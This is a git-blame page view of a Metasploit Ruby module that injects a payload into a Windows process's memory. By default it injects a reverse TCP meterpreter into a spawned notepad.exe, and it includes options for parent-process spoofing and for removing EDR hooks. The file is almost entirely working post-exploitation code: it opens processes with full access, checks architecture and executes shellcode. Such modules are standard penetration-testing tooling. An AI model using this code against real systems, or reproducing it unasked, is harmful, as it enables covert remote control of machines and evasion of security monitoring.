Files
metasploit-gs/modules/exploits/windows/local/payload_inject.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

156 lines
5.1 KiB
Ruby
Raw Normal View History

2013-01-23 14:07:48 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-01-23 14:07:48 -06:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2013-01-23 14:07:48 -06:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2014-06-01 11:51:06 +01:00
include Msf::Post::Windows::Process
2019-10-27 11:25:56 -05:00
include Msf::Module::Deprecated
2019-10-08 13:18:47 -05:00
moved_from 'post/windows/manage/payload_inject'
2014-06-01 11:50:13 +01:00
2021-08-27 17:15:33 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Memory Payload Injection',
'Description' => %q{
This module will inject a payload into memory of a process. If a payload
2021-08-27 17:15:33 +01:00
isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
datastore option isn't specified, then it'll inject into notepad.exe instead.
},
'License' => MSF_LICENSE,
'Author' => [
2013-01-24 18:13:30 +01:00
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'sinn3r'
2013-01-23 14:07:48 -06:00
],
2021-08-27 17:15:33 +01:00
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => '2011-10-12',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_config_getenv
stdapi_sys_process_attach
stdapi_sys_process_execute
]
}
}
2021-08-27 17:15:33 +01:00
)
)
2013-08-30 16:28:54 -05:00
2013-01-23 14:07:48 -06:00
register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
2021-08-27 17:15:33 +01:00
]
)
2013-01-23 14:07:48 -06:00
end
2013-08-30 16:28:54 -05:00
2013-01-23 14:07:48 -06:00
# Run Method for when run command is issued
def exploit
@payload_name = datastore['PAYLOAD']
@payload_arch = ARCH_X86
payload_arch_old = framework.payloads.create(@payload_name).arch.first
2019-12-03 15:58:37 -06:00
# convert the old style archetecture to the new style
@payload_arch = ARCH_X64 if payload_arch_old.include?('64')
vprint_status("Client Arch = #{client.arch}")
vprint_status("Payload Arch = #{@payload_arch}")
# prelim checks
if client.arch == ARCH_X86 and @payload_arch == ARCH_X64
fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS")
end
2013-08-30 16:28:54 -05:00
2013-01-23 14:07:48 -06:00
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
2013-08-30 16:28:54 -05:00
2019-12-18 16:06:26 +01:00
if datastore['PPID'] != 0 and datastore['PID'] != 0
print_error("PID and PPID are mutually exclusive")
return false
end
2019-12-03 15:58:37 -06:00
proc = get_proc(datastore['PID'])
if not proc
print_error("Unable to get a proper PID")
return
2013-01-23 14:07:48 -06:00
end
2013-08-30 16:28:54 -05:00
2019-12-18 16:06:26 +01:00
if datastore['PPID'] != 0 and not has_pid?(datastore['PPID'])
print_error("Process #{datastore['PPID']} was not found")
return false
2019-12-18 16:06:26 +01:00
elsif datastore['PPID'] != 0
2019-12-17 01:35:24 +01:00
print_status("Spoofing PPID #{datastore['PPID']}")
end
2019-12-03 15:58:37 -06:00
unless arch_check(@payload_arch, proc.pid)
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
end
if datastore['AUTOUNHOOK']
print_status("Executing unhook")
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
2019-12-03 15:58:37 -06:00
unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK'])
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll")
end
2013-01-24 10:46:23 -06:00
end
2019-12-03 15:58:37 -06:00
print_status("Injecting payload into #{proc.pid}")
begin
2019-12-03 15:58:37 -06:00
inject_into_pid(proc.pid)
rescue ::Exception => e
print_error("Failed to inject Payload to #{pid}!")
print_error(e.to_s)
2013-01-24 10:46:23 -06:00
end
end
2013-08-30 16:28:54 -05:00
# Figures out which PID to inject to
def get_proc(pid)
if pid == 0
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {
'Hidden' => datastore['HIDDEN'],
'ParentPid' => datastore['PPID']
})
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Spawned Notepad process #{proc.pid}")
end
else
if not has_pid?(pid)
print_error("Process #{pid} was not found")
return nil
end
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
if proc.nil?
print_bad("Failed to start notepad process")
else
print_status("Opening existing process #{proc.pid}")
2013-01-23 14:07:48 -06:00
end
end
2019-12-03 15:58:37 -06:00
return proc
2013-01-23 14:07:48 -06:00
end
2013-08-30 16:28:54 -05:00
def inject_into_pid(pid)
vprint_status("Performing Architecture Check")
return if not arch_check(@payload_arch, pid)
2021-08-27 17:15:33 +01:00
begin
print_status("Preparing '#{@payload_name}' for PID #{pid}")
2014-06-01 11:50:13 +01:00
raw = payload.encoded
execute_shellcode(raw, nil, pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to inject payload:")
print_line(e.to_s)
2013-01-23 14:07:48 -06:00
end
end
2013-01-29 14:22:19 -06:00
end